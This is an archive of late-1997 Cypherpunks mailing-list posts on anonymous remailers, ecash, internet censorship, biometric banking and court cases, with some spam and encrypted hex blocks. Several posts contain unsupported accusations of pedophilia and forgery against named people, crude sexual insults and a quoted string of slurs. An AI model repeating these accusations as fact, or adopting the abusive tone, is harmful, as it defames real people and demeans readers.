67A00FF1E409CA006D411CBA6EC9083B7F2E6C8B840EFA61C463AC49BAEC41A989CA231DF41E61A9C948B3A018E43CA55CD2D095E490855E9DF8ACCD5691B6A3C671016CD2456FE6B82C1D5BB6BFDE4949FA2F8A9968B5EACD3BB8EDD135EDA4CD12593A097E0610275944B1B019996D2B43942A4F0589B6231511AD7483B114CC4474D589AC16873D6CE0F783A4EE8AAC984A34975291D5CB8745F0FF44F44E74C51660D8B1BC32109BCC681C396537BBEA3A4F0165F6F4D5D50A1A4CFEC9DFE622D625FF343F91E04964FAC4E43B064C80D89B6CC0C5D4DA6BBEFB0D9197B8B666CCAA7186D3678FDCABA2F0ECEAB999CDE43DDD1C6182634AE0709B8AE744 623AE2E8E3A140672148D4A476D6C3133C05B2689754563F0427DD8A053B089F85180F0764F75B17D50CDE95F7C650254BE23EBC10EA352280C9CBF31D217CF4C34177107D83754467A7C424FF68B32598B17747FA772453121370A4EB49C148ABD077231088DF65F0DDAA793A8EBA63501772C711D08CD82AF0BB11D81C950F9033C812DD93A6A6D1BC1798B1410E6DB522897A84B7EBE310A5BB53AAA0D833C497B6541BED9B19AA879BA87E1FE43039E5CC4568A1C152B4A699C80D70FF34E811E78D5A752D3A61638FA8EC3D277EC896806C9D84D948114649341D218900B5DD562787737223BA0580C81F1304F1F01645CD4CB1533859A1247098350598 From rfarmer at HiWAAY.net Tue Dec 2 18:25:43 1997 From: rfarmer at HiWAAY.net (Randall Farmer) Date: Wed, 3 Dec 1997 10:25:43 +0800 Subject: Question for the [obscene Star Wars reference deleted] In-Reply-To: <199712022327.PAA25103@rentec.com> Message-ID: > > What is the best windows shell I can acquire to run PGP > > if I have windows 3.1? If I have windows 95? Thanks! > > In both cases the best shell to have is a shotgun shell. Naah, that'll wreak havoc with the win95 registry...Private Idaho is supposed to be fairly good. > Rick > --------------------------------------------------------------------------- Randall Farmer rfarmer at hiwaay.net http://hiwaay.net/~rfarmer From tcmay at got.net Tue Dec 2 18:30:31 1997 From: tcmay at got.net (Tim May) Date: Wed, 3 Dec 1997 10:30:31 +0800 Subject: Minsky skeptical of privacy In-Reply-To: <199712030029.BAA27972@basement.replay.com> Message-ID: At 5:29 PM -0700 12/2/97, Anonymous wrote: >Sore nerve in a glass house, eh? Charming Minsky still does a >Denning. Trillion dollar pork barrel: some gives, some takes. Not >both. Every rat pulls the lever, gets the pellet. > >Monty Cantsin >Editor in Chief >Smile Magazine Monty Cantsin = John Young? My stylometer is pegged at "100%." (On the other hand, even I can sometimes imitate John Young...read enough of him and the patterns and cadence sort of emerge. I won't try it here, though.) --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at REPLAY.COM Tue Dec 2 19:02:46 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 11:02:46 +0800 Subject: Pasting in From: Message-ID: <199712030243.DAA16591@basement.replay.com> Nerthus wrote: >Since anonymous remailing is now considered a free service in the >minds of most of its users, charging for it does not make sense. I'd >be curious to know how much money has been collected by the >ecash-accepting remailer that Ian Goldberg set up a couple months >back. My guess is it has brought in very little money. There is really no reason to use it. It seems to be the same as the jam remailer which is free. I had hoped to use it as an exit remailer, but even that is a loss as it apparently uses cracker (?) for that purpose. What we did learn is that it isn't that hard to set up a remailer to accept ecash. I doubt we've learned much about the market potential. The recent reports of the anonymizer pulling in $180,000 annually are worth thinking about. >[nym] remailer like I mentioned above may become lucrative if it >generates enough repeat customers (i.e., persistent nyms). So could >charging a fee for each address put in the Bcc: header. This is a good idea. Ecash accepting remailers should offer perks which are not generally available, or just offer a faster more reliable service to paying customers. For example, free messages are delayed 90 minutes while paid messages are sent immediately, modulo some details like mixing. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: Pasting in From: To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 0D94F3550B8D9B761BBC7C022556AAF5CAC87D87 -5C3 5C3 4710C4201C494D7356850F9B3B0130C38F40E405715557077922BAF70423E9BFB0A33749EF323F0A456ED428C175BBE0DD4EDEFF6405DEE2BE5AB8CA3DE3C4BC295D661622A9E0B30F2D59FDE15C0036881086A446CD8056AFFEEEFD4A0148062E8EE11786DA596AC4EACF00537AA4B796414D3E547E2150B48BF85488A2C94B3A5D259B6049065532F7C6DC31A62E74FA857EF2DB1EE250044FB9A5A3004197A1B0C70F6E7F6979A536710D973D50C0E47979E0EEA6E1435D4F4C8C655A90F7AE0B80E66786714F4BC2F1AC3BF3547A8D7397B157272C2D31C7293ACC452F88FC24711FDFA7F6584AE54B95BEDD470AC74F4A96D25E3C6F9C0A4951DA151EE1 2DB27D06A2EB1119232A7DE422EDBD9DCB6EF8B15B769B0E937229DDC821ACA290AFC3C40F5A567A14941F747075F45C26E35610603E4F253B7D5F7DBCF5243D44916E9732BE89C2979BC4E5411879D7B01FF6C351BAFE57F2833F9D82A53A5B4CD70BF0020FBFA51A6C00A3B894B25BE51EA084206386E86125965AD40F23A5B3288AAB06C1EA655FF363A340CAB4DD9AF2F3E7D44B3E4D1BF5CF392B5EDF562F98AE63FFA883C268F094C95F42589F07D73E03C9131EF11D03516A8E98647E52B97EB7D8D1F77C53FB017B307A473F9C1397416BC7AE5F59C928BA356622DE55BD811C1243DF48C52168345F2655DE3ECEE8697244D918296B40A642A730B0 From dformosa at st.nepean.uws.edu.au Tue Dec 2 21:42:58 1997 From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa}) Date: Wed, 3 Dec 1997 13:42:58 +0800 Subject: Pasting in From: In-Reply-To: <3.0.3.32.19971130202253.007595d8@popd.ix.netcom.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Sun, 30 Nov 1997, Bill Stewart wrote: [...] > So if the remailers don't support From: pasting, it's no loss. > Similarly, for Reply-To: and Sender: and Path: and Received: > and maybe a few other occasionally-forged header fields. There is a good reson to allow peaple to stick there a 'Reply-To:' in. This permits replies to be directed to some sort of anon post office box or other such mechanisum. - -- Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. ex-net.scum and proud You Say To People "Throw Off Your Chains" And They Make New Chains For Themselves? --Terry Pratchett. I do not reply to munged addresses. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBNITYaqQK0ynCmdStAQFYhAQA4VuRr3mpzG+SJ4rNC5bIz9hcMQOLfSsi 2iKRBEvwGEOBb6hak76J8m9y7IuFTDGC68AjwKRNjzNEOZLYzH+BuBXYzggCqmBg j0nYmYpGBRcO9+saDnzIBwHJQ5mwixmRdEnzdN7TfL52xzLjaoN21dm0sJFefHgw DIE9JO6A9sk= =OQwG -----END PGP SIGNATURE----- From declan at well.com Tue Dec 2 22:01:01 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 3 Dec 1997 14:01:01 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: <199712021617.LAA28265@arutam.inch.com> Message-ID: Besides demonstrating that cyberporn is a topic that will never disappear, the Kids and the Net summit has highlighted the tensions between the different types of Net-advocacy groups here in Washington. The civil liberties groups (ACLU, EPIC, EFF, CPSR), and journalism, publishers, and media groups have lined up on one side [http://www.ifea.org/] saying the government shouldn't pressure the Internet to self-censor (or be censored by the Feds). They held a counter-summit press conference yesterday. Even the libertarian Cato Institute is in this corner. On the other side, the Center for Democracy and Technology [http://www.cdt.org/] is participating in the summit along with antiporn groups, high tech firms, and "censorware" vendors. CDT says that the Net needs to self-regulate or face the wrath of the U.S. Congress. (Folks at CDT generally take pro-industry positions and have been involved in many compromises in the past: wiretapping, "harmful to minors," and jail time for use of encryption in a crime.) CDT, however, has called for the development of multiple rating systems. You could easily tell the difference between the two outlooks today. ACLU associate director Barry Steinhardt and CDT director Jerry Berman debated this afternoon. "If we sit back and we offer nothing... that's not a solution for the American public," Berman said. He said that CDT is "looking to balance free speech rights" with other values. -Declan At 11:04 -0400 12/2/97, Michael Sims wrote: >What "they" are saying: > >SF Chronicle: > >"Internet Self-Regulation Draws Wide Praise But advocates for free >speech call for extreme caution > >Jon Swartz, Chronicle Staff Writer > > Civil libertarians and porn peddlers yesterday praised the Internet >industry's attempt at sweeping self-regulation to keep smut out of >the hands of children and the government at arms' length. ..." > > >Civil libertarians praised sweeping self-regulation, eh? I hope >everyone realizes this is CDT that is doing this. They continue to >claim they are a civil liberties group, and continue to push for >restrictions on civil liberties. Has the ACLU considered setting up >a group which describes itself as "conservative and pro-family" in >its press releases and pushes continually for the elimination of >censorware and ratings? Such a trojan horse group could hardly do as >much damage to the censor crowd as CDT continues to do to the >free-speech crowd, but perhaps it would achieve some measure of >compensation. > >"Pros: [of "filtering"] Filtering does block out almost all >inappropriate material." > >I sure am glad our message is getting out. > >"Education. A series of TV spots and school-sponsored programs >touting filtering software will debut next fall." > >What a treat. Bennett? Know anything about this one? > > >Plenty more to come on this subject, I'm sure. > > >-- Michael Sims From snow at smoke.suba.com Tue Dec 2 22:03:51 1997 From: snow at smoke.suba.com (snow) Date: Wed, 3 Dec 1997 14:03:51 +0800 Subject: If you fought to defend your country... In-Reply-To: Message-ID: <199712030658.AAA00328@smoke.suba.com> > "snow" writes: > > Vulis said: > > > Only 2 inches are required to reach the prostate. Anything over that > > > is just windows dressing. > > Sounds like the voice of experience to me. > That's right - I habitually fuck Chris Lewis in the ass with a dildo. Why, your's not long enough to reach the prostate? From snow at smoke.suba.com Tue Dec 2 22:06:44 1997 From: snow at smoke.suba.com (snow) Date: Wed, 3 Dec 1997 14:06:44 +0800 Subject: Freemen and Serfs In-Reply-To: <199712011615.RAA06313@basement.replay.com> Message-ID: <199712030702.BAA00352@smoke.suba.com> > How, exactly? We're not talking about computers as "the technology". > We mean anonymous remailers, digital cash, Chaumian credentials, > steganography, and other cypherpunk technologies. Who is using these > technologies to make more money today? Almost no one. The reason is Who was using the internet to make more money 5 years ago? 10? Think long term. From nobody at REPLAY.COM Tue Dec 2 22:40:11 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 14:40:11 +0800 Subject: Is Tim May guilty of illegally advocating revolution? Message-ID: <199712030634.HAA11992@basement.replay.com> A ghost speaking through the medium of replay.com communicated: >There's a fallacy which is quite common on this list, especially >among members whose positions are otherwise indefensible. It's >surprising in a way because this fallacy is more common among >statists. > >There, the fallacy goes like this: if it is immoral, then it must be >illegal. We see this all the time. People think of the government >as their way of expressing moral values. Drugs are wrong, so they >must be made illegal. Discrimination in employment is wrong, so it >also must be illegal. We have countless bad laws based on this false >premise. > >On this list we see the same fallacy, turned around: if it is legal, >it must be moral. Someone is attacked for posting some vicious, >hateful, immoral rant, and they respond that what they said was >legal, because of freedom of speech and the First Amendment. Their >critic must be opposed to free speech if he objects to their words. > >Confusing what is legal and what is moral is a dangerous game. It >leads to the false reasoning of the statists. We must remember that >there is a clear distinction between morality and legality. This is a good thing to remember. However, what you seem to be calling immoral is holding a belief with which you disagree. Is it possible to hold an immoral belief? I don't think so. Once you've drawn a conclusion about the nature of the world you can hardly decide that it would be immoral to understand the truth. Actions, on the other hand, can be immoral. Let's not confuse beliefs with actions. What you seem to be proposing is that Tim May (or whoever) should refrain from expressing certain of their beliefs about the world because they are immoral. You have seldom addressed Tim's statements directly. Orwell had a word for this: "crimestop". Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: Is Tim May guilty of illegally advocating revolution? To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 9D7BB055B375A33548CB1E4F5F12CADFBD9F0C95 -812 812 461B0214EED56AE45090389D490B02613A95DA2041631B8D3462337C8E594474AF0CEB2D8725268D55149C5F7F37D681C163914BB4FE709FA1F56951427256E896527353386BCD461115D7ECB2B09270EFE9057A4F99DA92F3D781CDE6294330112FFDBB7331EEB0DE599BEE6E6FCA4F383368D050553934BEE14C1A0593443DB88DDD355ED87C8722EC0AD10285FDE340CCC5662C49C78E7746BC5CEDEE1166AC1DD368B84CF53A8703357BF8D73961027F39E52A5FE4BBFB0605F32C8887929A0F6C6044D427BAC9F3B452EE5BC8A331D8A62107440033557C2E50383AD64A650A4D31624B7E6E18B531360B061BE27481EA7F20B4BE104CA28148EA2139B7 D27633EAE1E96547D749063F5549263ED020FB6369CD001470CA8797769D66438346AC360A4B3C62900AB5061284A5F06975B3B31FF69908C5D55FF3865F114FE76DE8FCC356832DD7AB58CAAB4EDB6AAB9915ABF05C24D0D9880684E4CFE3CA77B8B95FB319047B9366D684E08E81E1D38CF7CEDD40A5E938933A4EE592D6A4A61E8F2CD694E18F438CFCDFFE6FB2F859ED900B1E80DADC3E534C20EAA78EEDED1AFCE8D8205541C529269B8F7CD7ABBF252863B784333576B6A507781E12C2E41AEB190FDE289BFD63D3F115884BFBDEEBA5D031DBA7625EAF1F89F80855FBF238413A3A7FE791134A816DD4F712EC26B0F20DBA0DC418AA80CAC5CAF3747C From alan at ctrl-alt-del.com Tue Dec 2 22:47:11 1997 From: alan at ctrl-alt-del.com (Alan) Date: Wed, 3 Dec 1997 14:47:11 +0800 Subject: Freemen and Serfs In-Reply-To: <199712011615.RAA06313@basement.replay.com> Message-ID: <199712030747.XAA01567@www.ctrl-alt-del.com> At 01:02 AM 12/3/97 -0600, snow wrote: > Who was using the internet to make more money 5 years ago? 10? David Rhodes? --- | "That'll make it hot for them!" - Guy Grand | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From nobody at REPLAY.COM Tue Dec 2 23:12:57 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 15:12:57 +0800 Subject: The Eye Bank Message-ID: <199712030705.IAA15636@basement.replay.com> Vin McLellan wrote: >With respect, I disagree. I think it is quite likely that an >iris-scan technology can effectively differentiate between a living >eye and a reproduction (or, as one of my many correspondents on this >topic suggested, an eye forcibly removed from the socket of a >potential fraud victim.) In any case, the issue of false >positives/negatives will be settled with evidence. I think the >technology will probably be useful, in those terms. I can see the advertising campaign now: "Bank at Big Brother Bank, NA - have your eyes ripped out!" The device probably has trouble distinguishing between a mannikin with some real eyes and a real person. Conveniently for the robbers, the victim will be unable to identify anybody later. The plausibility of this threat model has a lot to do with whose eyes we're talking about. If they're your eyes, be my guest. It's probably safe. ;-) This is just one of the many risks of deployment of these technologies, but it's the one that makes even the most docile sheep pay attention. Consider the child implant issue. "You have nothing to worry about because your child's Protect-A-Life implant can only be removed with surgery!" The problem is, that's exactly how it will be removed. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: The Eye Bank To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE A20E606A67B7C532C77C540A564F56AD82ED0FCD -5A1 5A1 1F23E7ABEBADD2BF530BE8195BD475D124D241B3B22EFA75E7E14F0FCBCD35E86ED52A84A23D294EDB1D12EFE1DC7E9E4657F6CCA4781690F8EDBC26048C83BC5B171337747307683C7E6EE4CBD48649B54E406D33DF017CE71C98FBE07B53C5A28E50AFE96B4A424F44A040E8589E2FDE93FDB7EABABF028EDA8DB5187308236A54109F87F525FAAD4A28888EED55794312B963C1DA4DDB074C4AD5F878EE51848A5DF6DFA365C79DBBBE4BB87DF63F0A430BE32B51ED77A8BAD3AFA919C44A53186DFD29B38FAF2978705215908349226F81D6837C2FA876D0D8EEB7C339DDDF9DFDA9CC817F20B7464F0075C5AD76B4A8FB951744FCF175D28CA39026F137 84539D083F031D5CAED3A5085929BAF124FFCBDF1A7CC85D67DAA879BBB605A6EAE5B4AA6EB050695F70B6ACE2656976BE6B4BE690EAB9C40DEEE3978ACBE2F9CE31DF39B69D2FE3BB99DEDA5F42A2CB6B520B63D94A9A02F0C04194A978FA30BF95FAEAEC98A016C04DAE6CD2554FCF7C5B7584D0090049A9108E688DEF1263C0F3EAB56CC26A507E3D52846DB8D110A133BE7A6A8477F99285B9E2038A5AB826891C9AED37F1E9D3CFEA9F159175A7AFA944500880C4A96CFEC4B122B641FB80745CDE7DABEB9FEDEC03217E777107D793610BD295BC26AECADABE51CA3462F0F954FA0DBBD49770DB74CDB038BF728998965669592EBB18437FB3CD435E54 From Cindy at mcglashan.com Wed Dec 3 17:57:10 1997 From: Cindy at mcglashan.com (Cindy Cohn) Date: Wed, 3 Dec 1997 17:57:10 -0800 (PST) Subject: Bernstein argument is in Courtroom 1 Message-ID: <199712040125.RAA16414@gw.quake.net> Hi everyone, This is just to confirm that the Bernstein oral argument is scheduled in Courtroom 1 of the 9th Circuit building. The address is 95 Seventh Street, San Francisco. See ya there, Cindy ************************ Cindy A. Cohn McGlashan & Sarrail, P. C. 177 Bovet Road, 6th Floor San Mateo, CA 94402 (415) 341-2585 (tel) (415)341-1395 (fax) Cindy at McGlashan.com http://www.McGlashan.com From stewarts at ix.netcom.com Wed Dec 3 03:01:43 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 3 Dec 1997 19:01:43 +0800 Subject: Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From: In-Reply-To: Message-ID: <3.0.3.32.19971203025104.00740bfc@popd.ix.netcom.com> -----BEGIN PGP SIGNED MESSAGE----- At 07:45 AM 12/02/1997 -0600, TruthMonger wrote: > It never fails to amaze me that complainers point out that an >'abusive' letter started out, "I hate niggersfaggotsjewsyou!" >and then proceed to list the other fifty 'abusive' things that >the writer had to say. The real problem, besides the emotional distress some people feel at the abuse they get in response to forged postings, and the potential loss of reputation capital, is that people keep trying to call their ISP to get them shut down, and some ISPs do this sort of thing, squashing abusive-sounding customers first and asking questions later. Ok, soon-to-be-ex customers... > I can make my own Bill Stewart signature >and inundate the InterNet with "I like to kill babies after I molest Actually, I tend to go for drowning them in bath water, then throwing them out. But you know that, you've helped.... I've also got a TOTO filter set in Eudora that flags messages from TOTO's systems. Doesn't matter if it's him, or TM, or LittleDogMonger, or his neighbors in Saskatchewan, I'd rather have the warning :-) -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQBVAwUBNIU5l/thU5e7emAFAQFb4gIAnQJOfaUJIzhFkR2lsQMhYbrIfRzuCGT9 ubHaDVVv0jZUzZA+R2zZTXUiCx45kPmNJmjYd1D47cZNp7bE2L20kQ== =pkXy -----END PGP SIGNATURE----- Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From nobody at REPLAY.COM Wed Dec 3 04:15:13 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 3 Dec 1997 20:15:13 +0800 Subject: RICE v PALADIN ENTERPRISES Message-ID: <199712031210.NAA15767@basement.replay.com> Duncan Frissell wrote that the U.S. 4th Circuit Court of Appeals wrote: >Certainly, such a conclusion would be reasonable based upon this >promotional description coupled with the singular character of Hit >Man, which is so narrowly focused in its subject matter and presenta- >tion as to be effectively targeted exclusively to criminals. This claim is demonstrably absurd. There are roughly 26,000 murders a year in the United States each year. The number of contract killings is probably a good deal less than 10% of this which leaves 2600. Let's be generous to the Court and say 10% of these murders are committed by people who read the book. (This can probably be shown to be entirely false by comparing suspected contract murder rates before and after publication of the work.) If we treat the Court with extreme charity we will say that each contract killer reading the book has only killed one person. Total: 260 killers read the book. Presumably many more copies of the book were sold and will be sold. The only conclusion that can be drawn is that most of the people purchasing the book did so for reasons of morbid curiosity. This should not be very surprising. It appears that the judges in this case allowed their eagerness to punish Paladin get in the way of their duties, the law, and common sense. This decision should be overturned. The judges should be impeached. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: RICE v PALADIN ENTERPRISES To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 6F9DDB61410CFF299DAD550E84016B65B5494DD1 -63F 63F 969D92DA833F3F31A1FB83964D1DA0BDA2499922AF085A887215BD69F4171E431EE0EF63280BD2AC97AD3AAB08D2591A063C8C20ECA333230A2A66C5CF06094C87BF70CC0571F185BD2ADA305E8CBAA2A57AF72C293AA2106B8FDFED0EF53DAB874FDE28CA13C4439661385573C73AE827D6AA24A3AAE74D3930A5DCD08B1E43E8E801A3B3D8FFECAB60A2F99D19FED66812C2435B7F46E3165623E71CE8339C9C620893C53216836F889B8A365FA8BE9EB0BAB63643BF78872304B192F0F3E3DC7A72921BCCC20A7F94381C77035EE03A3586F1F0C8FBC5989BE9057269A897F46D1354A2E983648AA59DB935A880CA0AD206A0743DF99E333A61AD1BB8837 14D9EEDCECE81C30E62626C7D24C7E816D8E81097C916A0DF203A7031C2CBE7D8D54DAA945B4D31FB5402695E95D03BFE3604BA7671A325C663FF727FBC08293D88ED62D47D51387B718CD6568BC83A5DECD1F2DC066B0ED34F01B43F11DEC109A7D8B02A77100E8C421043DAAEA09993D0878A83209138E4A88EF9AED34C5B139742B7024DB3F4275C73A7B0127010E7F08751E258926675FFEA9DF9861ED42A8D471606314DFD5E35A8EA331D97DF7A75D70A623AF7DE60C46FC8F515825D100A149185E5917FF4C11EB9ADA4E6A36B77A11B7DFB177F4A709D0A103D9F6EEB8C88356AC507734A07584A58EC62A6BAAAC600E73249E09EE2397E26B2E9270 From shop at ns.alpina1.net Wed Dec 3 20:28:43 1997 From: shop at ns.alpina1.net (shop at ns.alpina1.net) Date: Wed, 3 Dec 1997 20:28:43 -0800 (PST) Subject: Qualified Traffic Key to Toys.. Message-ID: <199712040300.VAA28943@mercury.gmds.com> and Hobbies Internet Sales. Special Announcement..First Time Offered to selected web sites - Exclusive Banner Program - **only four spaces available in Toys/Hobbies** As the Web gets more and more congested, you know that attracting qualified buyers to your site gets even more challenging! This New Exclusive Offer for your Toys/Hobbies Site will bring you specific, targeted, exposure. Established in 1994, our award-winning, World Wide Shopping Complex with avg 1.5 million hits a month now offers you EXCLUSIVE banner ads in our FOUR highly-visited Toys/Hobbies category directories. This is an exceptional opportunity at a very affordable rate and has not been previously offered. You will get tremendous exposure in four shopping locations. You could not get a more targeted audience for your products. These visitors are specifically looking in theToys/Hobbies section. Introductory Rates: ONE ONLY banner per location at top of Toys/Hobbies category directory. Per Location.....$495.00 for one year All Four Locations...$1495 for one year. What some of our storeowners have accomplished: One storeowner, after just over a year, grew to 5-figure Internet sales,another doubled their sales in just one month, another's business grew to over 70% international, an industrial client reports great response and sales, wholesalers and mfg. are getting distribution for their product lines, another storeowner has built a tremendous catalog mail order business, one store introduced a new product which started selling the first weekend online... To get full details of this exclusive banner offer, please hit reply and type BANNER OFFER in the subject line. However, there are only Four Banner Spots available in your category, so if you are interested, please email back at once. (We will also include other options for your information). +++++++++++++++++++++++++++++++++++++++++++++++++++++++ If you wish to be permanently removed from our announcement mailings, please hit reply and type remove in subject line. Thank You. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ From dlv at bwalk.dm.com Wed Dec 3 05:30:51 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 3 Dec 1997 21:30:51 +0800 Subject: Bill Stewart kills babies after he molests them. Honest! / In-Reply-To: <3.0.3.32.19971203025104.00740bfc@popd.ix.netcom.com> Message-ID: Bill Stewart writes: > The real problem, besides the emotional distress some people feel > at the abuse they get in response to forged postings, > and the potential loss of reputation capital, is that people > keep trying to call their ISP to get them shut down, > and some ISPs do this sort of thing, squashing abusive-sounding customers > first and asking questions later. Ok, soon-to-be-ex customers... Yes, this is one of the problems. Earlier this year pedophile Chris Lewis from Northern Telecom forged a bunch of spam e-mail to look like it came from dm.com (my domain). I got about 500 obnoxious e-mails, which I semi-automatically responded to, and had a rather unpleasant conversation with the assholes at my upstrea (PSI): "If you prove that this e-mail didn't originate at your site, you will not be held responsible". --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Dec 3 05:30:51 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 3 Dec 1997 21:30:51 +0800 Subject: Freemen and Serfs In-Reply-To: <199712030702.BAA00352@smoke.suba.com> Message-ID: "snow" writes: > > How, exactly? We're not talking about computers as "the technology". > > We mean anonymous remailers, digital cash, Chaumian credentials, > > steganography, and other cypherpunk technologies. Who is using these > > technologies to make more money today? Almost no one. The reason is > > Who was using the internet to make more money 5 years ago? 10? Hello! My name is Dave Rhodes. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Dec 3 05:31:33 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 3 Dec 1997 21:31:33 +0800 Subject: Pasting in From: In-Reply-To: Message-ID: ? the Platypus {aka David Formosa} writes: > > So if the remailers don't support From: pasting, it's no loss. > > Similarly, for Reply-To: and Sender: and Path: and Received: > > and maybe a few other occasionally-forged header fields. > > There is a good reson to allow peaple to stick there a 'Reply-To:' in. > This permits replies to be directed to some sort of anon post office box > or other such mechanisum. Just a thought: suppose "reply-to" points to a nym listed on a key server and the entire article is signed with a key for that nym? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Dec 3 05:32:26 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 3 Dec 1997 21:32:26 +0800 Subject: If you fought to defend your country... In-Reply-To: <199712030658.AAA00328@smoke.suba.com> Message-ID: "snow" writes: > > "snow" writes: > > > Vulis said: > > > > Only 2 inches are required to reach the prostate. Anything over that > > > > is just windows dressing. > > > Sounds like the voice of experience to me. > > That's right - I habitually fuck Chris Lewis in the ass with a dildo. > > Why, your's not long enough to reach the prostate? ^ [sp] I don't want physical contact with pedophile forgers. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From comsec at nym.alias.net Wed Dec 3 06:29:36 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Wed, 3 Dec 1997 22:29:36 +0800 Subject: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From: Message-ID: <19971203142004.12956.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- TruthMonger wrote: > > So what's the problem? Has everyone forgotten how to use their > >delete key? Does nobody have anything better to do with their time > > >and resources than to waste them being offended by people who are > > >trying to offend them? > > > > Well TruthMonger (if that is your real name,) I think you are missing the > > point. For purposes of the discussion, no one cares about the content of > > the messages, who or why they are being sent, nor is anyone bothered by > > anything concerning the message itself. What's being discussed is scarce > > resources of remailer operators. > > I was responding to Bill and Lance's comments in regard to forgery > victims being set up as targets of retribution. I think references to > "deplorable content" indicate some measure of judgement in regard to > defining what is considered 'abuse' of a remailer. You start to tread on dangerous ground when you concern yourself with the content (body) of a post. If, for example, you start to filter on content, then you're implicitly approving anything that you do allow to pass through. That sets a precedent that's hard to contain and exercising editorial control over the contents increases the remailer operator's legal liability for material posted. > However, you are right about the thread basically dealing with the > reprecussions to the remailer operators and their resources as an end > result of the particular modes of remailer use. At the risk of actually > being on-topic in a thread, I should point out that I have always been > of the opinion that it is up to the individual remailer operators to > judge what level and types of use they are able to provide as a service > with their given time and resources. Agreed. My main concern is that those policies should be explicitly disclosed in advance. If certain keywords are forbidden in the Subject: line or body of a message, or if it is forbidden to post to certain NGs or to cross-post to certain combinations of NGs, those restrictions should be explained in the remailer's help file. I don't know whether remailers are currently engaging in content-based filtering or not (none are currently flying the "filter" flag in Raph's remailer list), but there seems to be a strong suspicion among certain posters to the alt.privacy.anon-server NG (probably from newbies) that this is indeed occuring. The usual scenario is that the person tries to make a bunch of posts, none of them show up, and it is assumed that they were blocked by the remailer operator based on their content. My guess is that in most cases the person screwed something up, like sending a message to a mail2news gateway with a malformed or missing Newsgroups: line, but it's rather rare that the poster is reassured by someone in a position to know what might have happened. It would be great if these people were told "we have no restrictions on content other than the length of the message" or at least, "it has become necessary to block certain types of posts, but those cases are spelled out in our help file". > > Most remailers are operated with donated time and resources. Problems with > > the remailer, especially artificially generated ones, are just simply not > > desired. > > True, but I doubt that the artificially generated attacks on a > remailer are possible to fully deter, no matter what convolutions > one puts themselves through in order to stop it. It's important that such attacks not succeed, lest they encourage even more such attacks. They succeed, or course, when they convince the remailer operator to do what the attacker wishes done. Often what is required is a bit of creative damage control. For example, when an attacker starts making posts with pasted From: headers in an attempt to get remailer operators to disable this feature, offering him source blocking instead. - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv 